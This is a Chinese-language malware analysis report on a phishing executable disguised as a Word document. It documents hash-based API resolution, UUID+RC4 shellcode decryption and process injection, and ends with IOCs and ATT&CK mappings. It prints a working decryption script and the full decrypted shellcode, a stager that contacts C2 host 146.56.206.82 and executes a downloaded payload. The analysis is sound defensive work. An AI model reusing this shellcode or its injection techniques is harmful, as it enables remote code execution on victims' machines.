当前位置: 首页 > news >正文

某恶意软件样本逆向分析报告

1.概述

样本来源:微步在线

恶意软件名称:刘文博-关于北京体彩中心的问题反馈.exe

sha256:c28d23d8658abc1f5683c6b50239d5593eb7a274a3abec56124d7fb43fec1b64

2.行为分析

该程序图标设为word文档图标,实际为exe文件,诱骗受害者打开

使用了process monitor,未发现写入文件行为,注册表持久化行为。

使用fiddler,发现网络行为,连接了某IP地址,但是已经收不到响应了。

3.静态&动态分析

遍历模块:

遍历所有模块,通过hash值找到目标模块,获取其地址。这里的hash值是0xD3C8C75F,我们使用hashDB插件分析该值可以得出这里使用了名为djb2_uppercase的算法,解密该值代表ntdll.dll。因此得出这部分代码的目的是获得ntdll.dll的地址。

函数地址获取:

获得ntdll.dll模块后,接着就是获取该模块中某些函数的地址。

可以看到调用了一个函数,以模块地址和一个hash值作为参数,猜测该函数是用于获取函数地址的,接下来分析该函数。

可以看到,该函数通过对一个模块中所有导出函数的遍历,比对目标hash值,从而获得目标函数地址。经分析可得这里用的hash算法与前面模块hash的算法相同,即djb2_uppercase,因此我们可以用相同方式解密,得到hash值代表的函数。

经分析可得,该程序会从ntdll模块中获取如下函数地址:

NtProtectVirtualMemory,NtWaitForSingleObject,NtCreateThreadEx,NtQueueApcThread,NtResumeThread,NtClose,NtTerminateThread,RtlExitUserThread

接下来,程序用相同的方式,从kernel32模块中获取了LoadLibraryEx函数地址。

函数调用:

接下来调用函数执行恶意行为。注意到本程序没有直接调用函数,而是用了一个间接调用的方法。

可以看到,本程序会把目标函数的地址写到某个地址处,然后跳转到这里执行。而执行函数的参数从伪代码中是看不到的,需要从汇编代码中看,后续动态分析会详细分析参数。

确定shellcode注入点:

程序先后尝试调用NtCreateThreadEx和NtQueueApcThread方法,并把0x1000地址作为随后放置shellcode的起始点。但在实际运行中都失败了,最终通过第三条路径注入了shellcode。

第三条路径,使用了前面相同的遍历方法,得到了chakra.dll+0x1000的地址,准备把shellcode放在这里。

利用前面提到的调用方式,调用NtProtectVirtualMemory,我们需通过汇编代码看传参情况,可以看到rdx放入了注入点地址,r9放入了4,代表将权限改为可读可写。这里调用该函数是将注入点内存权限设为可写,准备写入新内容。

解密shellcode:

接下来程序分两步解密了一段硬编码数据,并将结果放入了前面提到的注入点位置。我使用大模型分析了这段解密算法,并编写了解密脚本(提供给大模型解密算法的伪代码,和代码中使用的必要的数据):

程序存储了59个uuid字符串,第一步先将字符串解码为944字节的二进制数据,然后使用解密算法——标准的RC4算法进行解密,得到了最终的shellcode。

import uuid def step1_decode(uuids_str): """ 第一步:将 59 个以空字符分隔的 UUID 字符串解码为 944 字节的二进制数据。 遵循 Windows GUID 结构体的内存排布(小端序前 3 段 + 大端序后 2 段)。 """ uuid_list = uuids_str.split('\x00') result = bytearray() for u_str in uuid_list: if not u_str: continue u = uuid.UUID(u_str) result.extend(u.bytes_le) return bytes(result) def step2_decrypt(data): """ 第二步:使用标准的 RC4 算法对数据进行解密。 感谢栈变量提示,v146[v82+13] 实际上是越界访问了紧随其后的 v147, 所以所有的交换操作都是在 v147 (即 S-box) 内部进行的。 """ if len(data) < 940: raise ValueError("数据长度必须至少为 940 字节") # 初始化 S-box S = list(range(256)) # 自定义密钥数据 K = [0x53, 0x7D, 0xB8, 0xF9, 0xD9, 0x6A, 0x64, 0x1E, 0xCD, 0x98, 0x3F, 0x3D, 0x20, 0x3A, 0x19, 0x50] # ---- 标准 RC4 KSA 密钥调度 ---- j = 0 for i in range(256): j = (j + S[i] + K[i % 16]) & 0xFF S[i], S[j] = S[j], S[i] # ---- 标准 RC4 PRGA 伪随机生成 ---- data = bytearray(data) i = 0 j = 0 # 循环 940 次进行异或解密 for out_idx in range(940): i = (i + 1) & 0xFF j = (j + S[i]) & 0xFF S[i], S[j] = S[j], S[i] k = S[(S[i] + S[j]) & 0xFF] data[out_idx] ^= k return bytes(data) # ================= 使用示例 ================= if __name__ == "__main__": # 读取你提供的 aF8dbae6eEb3577.txt 中的字符串 uuid_str = "f8dbae6e-eb35-77f6-a625-1f5d9f3beac0\x00b844265c-8b6e-dbe8-817d-24d3bf6f9edb\x00d5169886-35f3-9db2-3672-638fe58b5e07\x004c9b311b-397b-0d13-410d-59807e7ccbc8\x007d7fc87b-1dce-2755-e855-69a4af7af278\x00759752f2-1680-1e32-30f8-b8a61b0daeb5\x00b49b4b36-44dc-adfe-7d7b-8b3cf5fa9e06\x00e5994c48-4a71-9e1a-1b4f-5bd5f5103df7\x009c80c83f-c1ec-aab9-69e2-e426e9e9a96c\x0055676d0f-5b24-2a52-2a3d-e2a1231c1092\x00c7e793c7-52f1-e713-93f0-34b4450ea76b\x009eec3f2f-d33d-9417-f64b-17012047d09b\x0026ee0b15-3a0d-5cbd-a176-93bc511f9da0\x00965c4a57-4ba2-d496-c573-aba79b7d4b1a\x008900e024-cc0e-8cf8-f851-202278261659\x008eec7e82-694f-f499-c3c8-a39357998d83\x001124ab6d-4a03-4aad-fb5c-05174377b862\x00920c6beb-6bc3-457d-2742-fb77e9c51a01\x003c0ffbf1-9b41-7134-d879-800644352944\x002d8d60eb-b515-25a4-ee60-9d3009ec5bdc\x004f5a5828-35ba-20cd-ccc7-bfa558ff4d85\x00fddc8855-d36a-5f2b-6ccf-8ecb9e0b662b\x00f3fe1b02-2b93-f32d-1dd7-b0a970d8e04a\x002419f686-465f-f8b1-759d-37b6cfd92d8c\x00d393a542-2c92-2c1a-3e51-bbad82847c1f\x0075e1d541-c550-55cd-a675-bc0345c9d5d3\x002e0a1e96-c963-fa19-ef7c-f6e233e6eff2\x0046ea6705-5eb9-067d-f921-bd2626e298f6\x00105ef4cb-71cc-2dd8-c7e7-8e49ff2d900a\x00c9a83925-a382-855c-b20d-31bbbc9e4432\x0053dc8659-b467-9e7a-eaa9-021f1d7a3227\x0016821506-3b95-dcb5-6e1c-a676a40fd921\x00bd1fd992-b25b-de26-ba97-c5aeeb32e18a\x00afe769f7-8221-3592-893e-790dbc56015e\x00635e0112-b18a-6b30-de62-a48009530b5b\x0032d688c1-ee45-9821-d1e3-48148d0a4f5e\x007062fe4d-cce1-8a01-d521-6bfe7f21c730\x005acbd652-9730-27e5-6407-f3dded721526\x0054d17388-207a-1ec8-4bf1-fcac848d42ef\x00163440eb-4da7-5498-faf7-b23af3d08083\x00826d4599-0e94-ce58-3efb-56becdd94ad2\x00be585980-eff6-6de9-6909-84c0bea73c3c\x009c846b5c-297c-d878-a1df-0cd48ac5b227\x0048504bd7-50e1-2063-79a2-3aa5d4790c7e\x0094ad37e1-7691-5ab4-4acf-2989c930673d\x00aa184a26-1518-1b04-c522-3b490e57a457\x00528a8d63-37ca-4d7f-ab0c-038b3b08359b\x00131da6be-fa10-3c3f-f2db-0c33d674f19d\x0021902679-5424-3adb-e459-1601e6b9a812\x00bb24819b-5d91-8e27-1d8c-85b0461f8396\x00251e2350-6eb2-7565-aab6-15c51e6f3441\x00ec10761e-70f4-3391-9c11-6de4d62889a4\x003e338b69-32cc-3363-040a-e02f979be1ed\x00c02cb8de-ec18-0296-fbdd-3991048f437b\x00efe29aa6-6cc8-ca52-0949-4d86a8953c6e\x00aa1fa7e3-e333-db0c-eda5-5f9988519070\x00ce25b3c6-e4f5-e562-3bbc-3ed19c7d08e7\x0067c3d188-8d8f-4e3f-e779-2b4a2f850b76\x002ff2bfce-ca7b-4a09-d5f8-cf8d90909090" # 此处省略完整串,替换为你实际的完整输入 # 1. 执行第一步 binary_data = step1_decode(uuid_str) print(f"Step1 解码完成,数据长度: {len(binary_data)} bytes") # 2. 执行第二步 decrypted_data = step2_decrypt(binary_data) print(f"Step2 解密完成,有效数据前 20 字节: {decrypted_data[:20].hex()}")

两步骤分别得到的数据如下:

6E AE DB F8 35 EB F6 77 A6 25 1F 5D 9F 3B EA C0 5C 26 44 B8 6E 8B E8 DB 81 7D 24 D3 BF 6F 9E DB 86 98 16 D5 F3 35 B2 9D 36 72 63 8F E5 8B 5E 07 1B 31 9B 4C 7B 39 13 0D 41 0D 59 80 7E 7C CB C8 7B C8 7F 7D CE 1D 55 27 E8 55 69 A4 AF 7A F2 78 F2 52 97 75 80 16 32 1E 30 F8 B8 A6 1B 0D AE B5 36 4B 9B B4 DC 44 FE AD 7D 7B 8B 3C F5 FA 9E 06 48 4C 99 E5 71 4A 1A 9E 1B 4F 5B D5 F5 10 3D F7 3F C8 80 9C EC C1 B9 AA 69 E2 E4 26 E9 E9 A9 6C 0F 6D 67 55 24 5B 52 2A 2A 3D E2 A1 23 1C 10 92 C7 93 E7 C7 F1 52 13 E7 93 F0 34 B4 45 0E A7 6B 2F 3F EC 9E 3D D3 17 94 F6 4B 17 01 20 47 D0 9B 15 0B EE 26 0D 3A BD 5C A1 76 93 BC 51 1F 9D A0 57 4A 5C 96 A2 4B 96 D4 C5 73 AB A7 9B 7D 4B 1A 24 E0 00 89 0E CC F8 8C F8 51 20 22 78 26 16 59 82 7E EC 8E 4F 69 99 F4 C3 C8 A3 93 57 99 8D 83 6D AB 24 11 03 4A AD 4A FB 5C 05 17 43 77 B8 62 EB 6B 0C 92 C3 6B 7D 45 27 42 FB 77 E9 C5 1A 01 F1 FB 0F 3C 41 9B 34 71 D8 79 80 06 44 35 29 44 EB 60 8D 2D 15 B5 A4 25 EE 60 9D 30 09 EC 5B DC 28 58 5A 4F BA 35 CD 20 CC C7 BF A5 58 FF 4D 85 55 88 DC FD 6A D3 2B 5F 6C CF 8E CB 9E 0B 66 2B 02 1B FE F3 93 2B 2D F3 1D D7 B0 A9 70 D8 E0 4A 86 F6 19 24 5F 46 B1 F8 75 9D 37 B6 CF D9 2D 8C 42 A5 93 D3 92 2C 1A 2C 3E 51 BB AD 82 84 7C 1F 41 D5 E1 75 50 C5 CD 55 A6 75 BC 03 45 C9 D5 D3 96 1E 0A 2E 63 C9 19 FA EF 7C F6 E2 33 E6 EF F2 05 67 EA 46 B9 5E 7D 06 F9 21 BD 26 26 E2 98 F6 CB F4 5E 10 CC 71 D8 2D C7 E7 8E 49 FF 2D 90 0A 25 39 A8 C9 82 A3 5C 85 B2 0D 31 BB BC 9E 44 32 59 86 DC 53 67 B4 7A 9E EA A9 02 1F 1D 7A 32 27 06 15 82 16 95 3B B5 DC 6E 1C A6 76 A4 0F D9 21 92 D9 1F BD 5B B2 26 DE BA 97 C5 AE EB 32 E1 8A F7 69 E7 AF 21 82 92 35 89 3E 79 0D BC 56 01 5E 12 01 5E 63 8A B1 30 6B DE 62 A4 80 09 53 0B 5B C1 88 D6 32 45 EE 21 98 D1 E3 48 14 8D 0A 4F 5E 4D FE 62 70 E1 CC 01 8A D5 21 6B FE 7F 21 C7 30 52 D6 CB 5A 30 97 E5 27 64 07 F3 DD ED 72 15 26 88 73 D1 54 7A 20 C8 1E 4B F1 FC AC 84 8D 42 EF EB 40 34 16 A7 4D 98 54 FA F7 B2 3A F3 D0 80 83 99 45 6D 82 94 0E 58 CE 3E FB 56 BE CD D9 4A D2 80 59 58 BE F6 EF E9 6D 69 09 84 C0 BE A7 3C 3C 5C 6B 84 9C 7C 29 78 D8 A1 DF 0C D4 8A C5 B2 27 D7 4B 50 48 E1 50 63 20 79 A2 3A A5 D4 79 0C 7E E1 37 AD 94 91 76 B4 5A 4A CF 29 89 C9 30 67 3D 26 4A 18 AA 18 15 04 1B C5 22 3B 49 0E 57 A4 57 63 8D 8A 52 CA 37 7F 4D AB 0C 03 8B 3B 08 35 9B BE A6 1D 13 10 FA 3F 3C F2 DB 0C 33 D6 74 F1 9D 79 26 90 21 24 54 DB 3A E4 59 16 01 E6 B9 A8 12 9B 81 24 BB 91 5D 27 8E 1D 8C 85 B0 46 1F 83 96 50 23 1E 25 B2 6E 65 75 AA B6 15 C5 1E 6F 34 41 1E 76 10 EC F4 70 91 33 9C 11 6D E4 D6 28 89 A4 69 8B 33 3E CC 32 63 33 04 0A E0 2F 97 9B E1 ED DE B8 2C C0 18 EC 96 02 FB DD 39 91 04 8F 43 7B A6 9A E2 EF C8 6C 52 CA 09 49 4D 86 A8 95 3C 6E E3 A7 1F AA 33 E3 0C DB ED A5 5F 99 88 51 90 70 C6 B3 25 CE F5 E4 62 E5 3B BC 3E D1 9C 7D 08 E7 88 D1 C3 67 8F 8D 3F 4E E7 79 2B 4A 2F 85 0B 76 CE BF F2 2F 7B CA 09 4A D5 F8 CF 8D 90 90 90 90 FC 48 83 E4 F0 E8 C8 00 00 00 41 51 41 50 52 51 56 48 31 D2 65 48 8B 52 60 48 8B 52 18 48 8B 52 20 48 8B 72 50 48 0F B7 4A 4A 4D 31 C9 48 31 C0 AC 3C 61 7C 02 2C 20 41 C1 C9 0D 41 01 C1 E2 ED 52 41 51 48 8B 52 20 8B 42 3C 48 01 D0 66 81 78 18 0B 02 75 72 8B 80 88 00 00 00 48 85 C0 74 67 48 01 D0 50 8B 48 18 44 8B 40 20 49 01 D0 E3 56 48 FF C9 41 8B 34 88 48 01 D6 4D 31 C9 48 31 C0 AC 41 C1 C9 0D 41 01 C1 38 E0 75 F1 4C 03 4C 24 08 45 39 D1 75 D8 58 44 8B 40 24 49 01 D0 66 41 8B 0C 48 44 8B 40 1C 49 01 D0 41 8B 04 88 48 01 D0 41 58 41 58 5E 59 5A 41 58 41 59 41 5A 48 83 EC 20 41 52 FF E0 58 41 59 5A 48 8B 12 E9 4F FF FF FF 5D 6A 00 49 BE 77 69 6E 69 6E 65 74 00 41 56 49 89 E6 4C 89 F1 41 BA 4C 77 26 07 FF D5 48 31 C9 48 31 D2 4D 31 C0 4D 31 C9 41 50 41 50 41 BA 3A 56 79 A7 FF D5 E9 9D 00 00 00 5A 48 89 C1 41 B8 BB 01 00 00 4D 31 C9 41 51 41 51 6A 03 41 51 41 BA 57 89 9F C6 FF D5 E9 80 00 00 00 5B 48 89 C1 48 31 D2 49 89 D8 4D 31 C9 52 68 00 32 C0 84 52 52 41 BA EB 55 2E 3B FF D5 48 89 C6 48 83 C3 50 6A 0A 5F 48 89 F1 BA 1F 00 00 00 6A 00 68 80 33 00 00 49 89 E0 41 B9 04 00 00 00 41 BA EC 72 CA 9D 49 81 F2 99 34 54 1B FF D5 48 89 F1 48 89 DA 49 C7 C0 FF FF FF FF 4D 31 C9 52 52 41 BA 2D 06 18 7B FF D5 85 C0 0F 85 9D 01 00 00 48 FF CF 0F 84 8C 01 00 00 EB AC E9 EB 01 00 00 E8 7B FF FF FF 2F 72 65 73 2F 6A 73 2F 6A 71 75 65 72 79 2D 33 2E 36 2E 32 2E 73 6C 69 6D 2E 6D 69 6E 2E 6A 73 00 3E FE A5 4A 98 0A FB 6B 5A 8B 50 2A 77 57 67 D0 AA A2 4C CA 9B 06 BF 43 08 F3 8A 73 3A A2 82 56 EB 72 A1 FB D4 61 85 2A 33 1F F5 F3 77 C2 00 41 63 63 65 70 74 3A 20 2A 2F 2A 0D 0A 43 6F 6E 74 65 6E 74 2D 4C 61 6E 67 75 61 67 65 3A 20 64 65 2D 44 45 2C 20 65 6E 2D 43 41 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 4D 6F 7A 69 6C 6C 61 2F 35 2E 30 20 28 63 6F 6D 70 61 74 69 62 6C 65 3B 20 4D 53 49 45 20 38 2E 30 3B 20 57 69 6E 64 6F 77 73 20 4E 54 20 36 2E 31 3B 20 54 72 69 64 65 6E 74 2F 35 2E 30 29 0D 0A 00 6E 36 F2 13 1E 60 33 20 C8 55 6E 06 D8 39 0B 10 C4 79 2A 63 82 E4 7A 4F 74 BC 7B 76 53 E9 C5 3A 7D 03 6D DD 34 DD 28 4F 07 8D 74 CB B5 2C BF 85 6C 08 44 0A 32 14 4A 77 43 63 CC CB E7 66 29 6C 57 3D 1C AE 95 E8 EA 6F D0 F0 B8 31 B3 E5 93 1C 55 9F 4E 66 4F 40 69 BF A0 3F 6C 2A 5F E5 46 C8 2E 7B EB B8 16 31 4A D6 AC C8 4C 55 76 C0 C9 AD 45 96 1B DE 24 5E 00 42 36 42 C6 0E 4A 72 C0 C6 3C 2E 60 92 77 81 6B 1E 42 0B EE C4 86 61 5A 15 A9 21 D8 B4 EC EB CE C5 42 59 47 89 37 DD 29 49 BF 8B 96 F3 37 B1 30 F7 C9 D5 18 2D D1 FD 6A 5B 0E 7D 54 07 00 41 BE F0 B5 A2 56 FF D5 48 31 C9 BA 00 00 40 00 41 B8 00 10 00 00 41 B9 40 00 00 00 41 BA 50 F0 07 F3 49 81 F2 08 54 54 16 FF D5 48 93 53 53 48 89 E7 48 89 F1 48 89 DA 41 B8 00 20 00 00 49 89 F9 41 BA 12 96 89 E2 FF D5 48 83 C4 20 85 C0 74 AF 66 8B 07 48 01 C3 85 C0 75 D7 58 58 58 48 05 00 00 00 00 50 C3 E8 6E FD FF FF 31 34 36 2E 35 36 2E 32 30 36 2E 38 32 00 90 90 90 90

小插曲:

最初大模型编写的脚本并不能得到正确结果,我查看大模型分析过程,发现提到了变量v146的处理出现了问题,我查看发现v146的赋值来自命令strcpy(v146, "chakra.dll"),但是解密过程中出现了形如v85 = v146[v82 + 13];这样的命令,超出了v146的长度,对此大模型的处理是默认为0。对此我使用x64dbg进行动态调试,发现解密时,在栈中,v146的下面放入了大量数据,解密时用到的就是这些数据,经过调试发现这部分数据其实是伪代码中的v147,也就是解密时用到的其实是v147。

其实直接在ida中观察栈视图stack of main也可以发现,这两个变量在栈中是相邻的,超出v146的长度其实就是在访问v147.我把这一情况描述给了大模型,大模型便发现这其实就是一个标准的RC4算法,然后就纠正得到了正确的脚本。

执行shellcode

这里调用NtProtectVirtualMemory函数,将存放shellcode的区域改为可执行权限,然后便跳转到注入点执行shellcode。

Shellcode分析:

我们将前面解密得到的二进制数据dump下来,用IDA打开,就能看到shellcode代码了:

简单看了一下,发现跳转很多很乱,最后我选择用x64dbg动态调试分析了这段shellcode。

动态调试执行基址:00007FF67E0F0000

我们从这里步进,观察shellcode的执行。

程序先来到这里,74656E696E6977h是字符串“wininet”,然后把hash值726774Ch放入寄存器。

随后会遍历各个模块,首先取出的就是exe文件本身

计算该模块的hash值,这里和前面不一样,用的是ROR13算法

对模块进行一些基本的检查后,来到模块的导出表,准备遍历函数

遍历函数,计算函数名的hash值,这里同样使用ROR13算法,和r10寄存器中的726774Ch比较,也就是要找到hash值为726774Ch的函数

本模块所有导出函数遍历完没有找到目标会跳转至此,随后会再跳转到前面提到的取模块处,获取下一个模块,然后重复上述遍历函数的过程。

最后成功找到目标函数,发现是kernel32模块的LoadLibraryA函数。随后找到该函数地址,并把该函数地址放入rax,设置好参数,注意push r10这句指令把r10数据压栈,作为目标函数执行完成后的返回地址,然后jmp rax执行函数。这里执行该函数,加载了wininet.dll模块。

接下来会重复上述的过程来寻找函数执行。第二次执行了InternetOpenA函数。

第三次执行InternetConnectA,连接146.56.206.82的443端口

第四次执行HttpOpenRequestA,其中参数指向了/res/js/jquery-3.6.2.slim.min.js

第五次寻找目标函数时,对目标hash又做了一层异或加密,这里和前面不一样。第五次执行了InternetSetOptionA

第六次执行了HttpSendRequestA,发送请求。若失败,会重复几次执行InternetSetOptionA和HttpSendRequestA,超过次数限制后会结束程序。而成功后,会第七次寻找并执行函数VirtualAlloc,申请一块内存。

第八次执行InternetReadfileA,读取响应的内容存入申请的地址。随后会跳转到该地址执行。

由于无法真正获得响应,分析到此为止。

IOC & TTP

IOC:

sha256:c28d23d8658abc1f5683c6b50239d5593eb7a274a3abec56124d7fb43fec1b64

IP地址:146.56.206.82

TTP:

TA0001 初始访问:

①T1566 网络钓鱼:将可执行文件伪装成Word文档图标,诱骗受害者打开。

TA0002 执行:

①T1204.002 用户执行.恶意文件:受害者主动运行该伪装exe,触发恶意代码。

②T1106 原生API:程序通过hash遍历获取并调用了底层API:NtCreateThreadEx,NtQueueApcThread,NtResumeThread,NtProtectVirtualMemory等。

TA0005 防御规避:

①T1036 伪装:图标设为word文档图标,实际为exe。

②T1027.007 混淆文件和信息.动态解析API:通过遍历模块和导出函数,使用hash值动态获取ntdll.dll和kernel32.dll中的函数地址,而非在导入表中显式声明。

③T1027.010 混淆文件和信息.命令混淆:硬编码数据分两步解密,先将59个UUID字符串解码,再使用标准RC4算法解密出最终的Shellcode。

④T1620 反射式代码加载:在内存中解密shellcode并直接执行,不落地磁盘,配合无文件行为。

TA0011 命令与控制:

①T1071.001 应用层协议.Web协议:依次调用InternetOpenA,InternetConnectA,HttpOpenRequestA,HttpSendRequestA等函数建立HTTP/HTTPS连接。

②T1105 入口工具传输:调用VirtualAlloc申请内存,通过InternetReadFile从响应中读取下一阶段载荷并执行,实现载荷下发

攻击链:

网络钓鱼(诱惑受害者)→ 用户执行(恶意exe)→ 动态解析ntdll/kernel32关键API → 解密内置shellcode(UUID+RC4)→ 反射式加载shellcode → shellcode调用WinINet组建HTTPS C2通信 → 下载并执行下一阶段载荷

http://www.jsqmd.com/news/803091/

相关文章:

  • 可编程代理框架OpenClaw Proxy:构建灵活网络中间件的核心原理与实践
  • 书匠策AI|课程论文还在“手搓“?这套操作让你把半条命从DDL里捞回来
  • 2026年新疆复印纸批发指南:源头直供降本方案与品质甄选全景 - 优质企业观察收录
  • 2026年深圳民办高中择校问答:核心维度与务实参考 - 速递信息
  • 情感计算与环境显示融合:构建集体情绪场的交互设计实践
  • 2026年新疆不干胶标签与办公用纸采购完全指南:源头直供、绿色认证、全疆快交付 - 优质企业观察收录
  • 你还在浪费天猫购物卡?教你轻松回收变现! - 团团收购物卡回收
  • 利用 Taotoken 实现企业内部不同部门对 AI 资源的差异化授权与审计
  • 2026年5月深圳名表回收行情速报!收的顶黄金奢侈品回收,劳力士水鬼 / 百达翡丽鹦鹉螺最新价 - 奢侈品回收测评
  • 避开这些坑,你的小功率FM发射机才能稳定工作:三极管选型、电容隔离与阻抗匹配实战心得
  • 2026泰州黄金回收市场权威调研市场总汇|正规机构资质审核+三大回收商家优势解析 - 鑫顺黄金回收
  • STM32F103C8T6驱动74HC595点亮LED点阵屏:从引脚重映射到级联控制的完整流程
  • 乡村别墅设计全流程技术要点与合规服务商指南 - 奔跑123
  • SafeClaw:构建隐形HTTP客户端,绕过WAF与反爬的工程实践
  • 工程师实战指南:从原理到选型,全面解析电池核心技术参数与应用
  • 杉德斯玛特卡如何回收最省心?省钱达人教你小技巧! - 团团收购物卡回收
  • Antigravity AI 助手“装死”?一招解决 Git 配置引发的无响应崩溃
  • 有实力的敦煌徒步旅行社哪家好,探寻敦煌徒步圣地最佳之选-新沙州文旅 - 新沙州文旅
  • 2026 成都钻石回收靠谱推荐|正规资质+高价结算,全程透明 - 奢侈品回收测评
  • 桂林的小瑞士,桂海晴岚景区附近酒店推荐? - 中媒介
  • Wick:基于本地Markdown文件构建AI持久记忆的思考伙伴系统
  • AI-Astra:构建AI编程的工程化标准与可靠性层
  • 2026邓州旧房厨房改造品牌排行参考 - 品牌排行榜
  • 基于适配器模式构建跨平台待办事项聚合器:设计、实现与实战
  • FPGA LVDS输入作为模拟比较器的原理、设计与工程实践
  • 农村建房设计核心技术拆解及靠谱服务商盘点 - 奔跑123
  • 51单片机项目进阶:给电子秤加上JQ8400语音播报,一线串口控制到底有多方便?
  • 2026年5月天津滨海新区律所最新测评,核心指标综合评比 - 速递信息
  • 2026海口财税公司测评推荐,代理记账,注册公司,高新企业认证专业财税代办机构优选指南 - 品牌优企推荐
  • 求解深分页问题,last pk适合什么情况